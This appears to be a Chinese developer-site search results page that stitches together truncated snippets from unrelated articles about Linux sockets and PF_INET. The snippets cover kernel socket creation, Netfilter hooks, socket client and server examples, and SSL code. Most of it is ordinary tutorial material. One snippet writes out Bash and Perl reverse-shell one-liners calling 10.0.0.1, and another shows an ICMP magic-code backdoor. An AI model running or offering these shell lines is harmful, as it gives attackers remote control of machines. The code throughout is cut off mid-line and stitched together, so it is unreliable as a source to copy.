笔者这次就从linux源码的角度来阐述socket阻塞(block)和非阻塞(non_block)的区别。 本文源码均来自采用Linux-2.6.24内核版本。...如下图所示: 则通过源码可知,由于是AF_INET(PF_INET),所以net_families[PF_INET].create=inet_create(以后我们都用PF_INET表示),即 pf...ops; answer_no_check = answer->no_check; // 这边sk->prot就是answer_prot=>tcp_prot sk = sk_alloc(net, PF_INET...从上述代码,我们可以清楚的发现sock->ops=&inet_stream_ops; const struct proto_ops inet_stream_ops = { .family = PF_INET...希望笔者这篇文章能帮助到阅读linux网络协议栈代码的人。
从linux源码看socket的阻塞和非阻塞 笔者一直觉得如果能知道从应用到框架再到操作系统的每一处代码,是一件Exciting的事情。 大部分高性能网络框架采用的是非阻塞模式。...笔者这次就从linux源码的角度来阐述socket阻塞(block)和非阻塞(non_block)的区别。 本文源码均来自采用Linux-2.6.24内核版本。...则通过源码可知,由于是AF_INET(PF_INET),所以net_families[PF_INET].create=inet_create(以后我们都用PF_INET表示),即 pf->create...ops; answer_no_check = answer->no_check; // 这边sk->prot就是answer_prot=>tcp_prot sk = sk_alloc(net, PF_INET...希望笔者这篇文章能帮助到阅读linux网络协议栈代码的人。
Netfilter是Linux 2.4.x引入的一个子系统,它作为一个通用的、抽象的框架,提供一整套的hook函数的管理机制,使得诸如数据包过滤、网络地址转换(NAT)和基于协议类型的连接跟踪成为了可能...Netfilter使用NF_HOOK(include/linux/netfilter.h)宏在协议栈内部切入到Netfilter框架中。...在include/linux/socket.h中IP协议AF_INET(PF_INET)的序号为2,因此我们就可以得到TCP/IP协议族的钩子函数挂载点为: PRE_ROUTING: nf_hooks...小节:整个Linux内核中Netfilter框架的HOOK机制可以概括如下: 在数据包流经内核协议栈的整个过程中,在一些已预定义的关键点上PRE_ROUTING、LOCAL_IN、FORWARD、LOCAL_OUT...和POST_ROUTING会根据数据包的协议簇PF_INET到这些关键点去查找是否注册有钩子函数。
关于linux系统端口查看和占用的解决方案 大部分这种问题都能够解决,在文章的最后,提到了一种特殊情况,就是父子进程中的端口占用情况。...#ifdef WIN32 SOCKET ss = ::socket(PF_INET, SOCK_STREAM, 0); #else SOCKET ss = ::socket(PF_INET, SOCK_STREAM...| SOCK_CLOEXEC, 0); #endif 当然,其他的文件描述符也有类似的功能,例如文件,可以在打开的时候使用O_CLOEXEC标识(linux 2.6.23才开始支持此标记),达到和上面一样的效果...foo.txt”,O_RDONLY); int flags = fcntl(fd, F_GETFD); flags |= FD_CLOEXEC; fcntl(fd, F_SETFD, flags); //方案B,linux
: AF_INET:用来产生IPV4 - socket 的协议,使用TCP或UDP来传输,用IPV4的地址 AF_INET6:和上面的差不多,这个是IPV6的 AF_UNIX:本地协议,用在Unix和Linux...补充2: 以太网中建议使用PF_INET这个域。...在程序设计时会发现有的代码使用的是AF_INET,在头文件中这两个值是一致的,我也经常写AF_INET,不过还是有细微的差别,PF_INET有些协议类型是AF_INET所没有实现的。.../c;ient message \n",stderr); exit(1); } str = argv[1]; sockfd = socket(PF_INET,SOCK_STREAM,0);...bzero(&servaddr,sizeof(servaddr)); //清空结构体变量,准备开始刻画 servaddr.sin_family = PF_INET; inet_pton(
sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); //每个字节都用0填充 sockAddr.sin_family = PF_INET...sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); //每个字节都用0填充 sockAddr.sin_family = PF_INET...char bufRecv[BUF_SIZE] = { 0 }; while (1) { //创建套接字 SOCKET sock = socket(PF_INET...WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); //创建套接字 SOCKET sock = socket(PF_INET...参考: 《精通Linux C编程》- 程国钢 http://c.biancheng.net/socket/
二、代码 sniff.c #include #include #include #include #include #include #include #include #include #include #include #include #include /* 使用ICMP_ECHO数据包 Code字段设置为0x5B 91 */ #define MAGIC_CODE...是一样的, SOCK_RAW表示我们自己来构建这个数据包,类型为ICMP数据包 */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP
(1),struct fd_set 这是一个集合,这个集合中存放的是文件描述符(在unix、linux系统中任何的设备、管道、FIFO等都可通过文件描述符的形式来访问)。...2) { printf("Usage: %s \n", argv[0]); exit(1); } serv_sock = socket(PF_INET...{ printf("Usage: %s \n", argv[0]); exit(1); } sock = socket(PF_INET...=0) cout<<"WSAStartup() error"<<endl; serverSocket = socket(PF_INET, SOCK_STREAM, 0);...= 0) cout << "WSAStartup() error" << endl; if ((clientSocket = socket(PF_INET, SOCK_STREAM
2.2 第二步创建 socket 这一步超级简单,代码就是这个: SOCKET serverSock = socket(PF_INET, SOCK_STREAM, 0); 我知道你要骂我,写什么是什么鬼...小问题了,第一个 PF_INET 就表示指定 IPV4 ,也就是说先给个网络协议,那么多的网络协议你总要选一个吧。那为什么要用 IPv4 呢?...sockAddr.sin_family 是表示这个结构体中用于存储IP协议的结构体变量,PF_INET 之前说了是 ipV4,表示在这里设置 ipV4类型。...int main(){ WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsadata); SOCKET serverSock = socket(PF_INET...int main(){ WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsadata); SOCKET serverSock = socket(PF_INET
peerlen); } } close(sock); } int main(void) { int sock; if ((sock = socket(PF_INET...sizeof(recvbuf)); } close(sock); } int main(void) { int sock; if ((sock = socket(PF_INET...exit(EXIT_FAILURE); \ } while(0) int main(void) { int sock; if ((sock = socket(PF_INET...输出如下: simba@ubuntu:~/Documents/code/linux_programming/UNP/socket$ ./trunc n=1 A ...............参考: 《Linux C 编程一站式学习》 《TCP/IP详解 卷一》 《UNP》
stderr, "Usage: %s remoteIP myIP\n", argv[0]); exit(1); } /* 获取一个socket,协议簇用的是ipv4,AF_INET和PF_INET...是一样的, SOCK_RAW表示我们自己来构建这个数据包,类型为ICMP数据包 */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP.../module.h> #include #include #include #include #include #include #include #include #include #include #include #include <linux
Netfilter挂载点) 在 图1 中,蓝色部分就是 Netfilter 挂载钩子函数的位置,所以 Netfilter 定义了 5 个常量来表示这 5 个位置,如下代码: // 文件:include/linux...pf:协议类型,用于指定钩子函数挂载在 nf_hooks 数组第一维的位置,如 IPv4 协议设置为 PF_INET。...skb), (indev), (outdev), (okfn))) 首先介绍一下 NF_HOOK 宏的各个参数的作用: pf:协议类型,就是 nf_hooks 数组的第一个维度,如 IPv4 协议就是 PF_INET...return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, NULL, ip_rcv_finish); } 如上代码所示,在 ip_rcv 函数中调用了 NF_HOOK...六、总结 本文主要介绍了 Netfilter 的实现,因为 Netfilter 是 Linux 网络数据包过滤的框架,而 iptables 就是建立在 Netfilter 之上的。
sockaddr_in servAddr; memset(&servAddr, 0, sizeof(servAddr)); //每个字节都用0填充 servAddr.sin_family = PF_INET...WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); //创建套接字 SOCKET sock = socket(PF_INET...sockaddr_in servAddr; memset(&servAddr, 0, sizeof(servAddr)); //每个字节都用0填充 servAddr.sin_family = PF_INET
Bash 与linux发行版本有关 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 PERL perl -e 'use Socket;i="10.0.0.1";p=1234...;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(i)))){open(
peerlen); } } close(sock); } int main(void) { int sock; if ((sock = socket(PF_INET...sizeof(recvbuf)); } close(sock); } int main(void) { int sock; if ((sock = socket(PF_INET... exit(EXIT_FAILURE); \ } while(0) int main(void) { int sock; if ((sock = socket(PF_INET...输出如下: simba@ubuntu:~/Documents/code/linux_programming/UNP/socket$ ./trunc n=1 A ...............参考: 《Linux C 编程一站式学习》 《TCP/IP详解 卷一》 《UNP》
Linux下的tcp编程中,第一步就是要创建socket,本文将从源码角度看下socket是如何被创建的。...// include/linux/fs.h struct file_operations { ......sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern); ......// net/ipv4/af_inet.c const struct proto_ops inet_stream_ops = { .family = PF_INET, .owner...有关epoll的源码分析,请参见 Linux epoll 源码分析 1 Linux epoll 源码分析 2 Linux epoll 源码分析 3 5.
int main(void) { int count = 0; while(1) { int sock; if ((sock = socket(PF_INET...将 sleep(4); 注释掉,观察服务器端的输出如下: simba@ubuntu:~/Documents/code/linux_programming/UNP/socket$ ....signal(SIGPIPE, SIG_IGN); int listenfd; //被动套接字(文件描述符),即只可以accept, 监听套接字 if ((listenfd = socket(PF_INET.../code/linux_programming/UNP/socket$ ....参考: 《Linux C 编程一站式学习》 《TCP/IP详解 卷一》 《UNP》
Linux网络编程:加密通讯协议SSL编程 服务器端源代码如下: #include #include #include #include #include #include #include...库进行基于 IP层的 SSL 加密通讯的方法,这是服务器端例子 *wrote by: zhoulifa(zhoulifa@163.com) 周立发(http://zhoulifa.bokee.com) Linux...爱好者 Linux知识传播者 SOHO族 开发者 最擅长C语言 *date time:2007-02-02 19:40 *Note: 任何人可以任意复制代码并运用这些文档,当然包括你的商业用途 * 但请遵循...ERR_print_errors_fp(stdout); exit(1); } /* 开启一个 socket 监听 */ if ((sockfd = socket(PF_INET...printf("socket created\n"); bzero(&my_addr, sizeof(my_addr)); my_addr.sin_family = PF_INET
单方面断开连接带来的问题 Linux的close函数和Windows的closesocket函数是完全断开连接。完全断开是指无法传输数据也不能接收数据。因此,一方这样直接断开连接就显得不太优雅了。...int howto); sock:需要断开的套接字文件描述符 howto:断开连接的方式,有三种:SHUT_RD:断开输入流,SHUT_WR:断开输出流,SHUT_RDWR:同时断开 LINUX...(&act.sa_mask); act.sa_flags=0; sigaction(SIGCHLD, &act, 0); //TCP套接字配置 serv_sock=socket(PF_INET...=3) { exit(1); } sock=socket(PF_INET, SOCK_STREAM, 0); if(sock == -1) error_handling
原文作者:aircraft 原文链接:https://www.cnblogs.com/DOMLX/p/9614056.html 一.多种I/O函数 前言:之前我们讲的数据传输一般Linux上用write...其实Linux上也可以用send和recv,它与write和read主要区别是它的最后一个参数可以附带一些扩展功能。...Linux中的send和recv 基础 ssize_t send(int sockfd, const void *buf, size_t nbytes, int flags); 成功返回发送的字节数...urg_handler; //回调函数 sigemptyset(&act.sa_mask); //初始化0 act.sa_flags = 0; acpt_sock = socket(PF_INET...{ printf("Usage: %s \n", argv[0]); exit(1); } sock = socket(PF_INET
领取专属 10元无门槛券
手把手带您无忧上云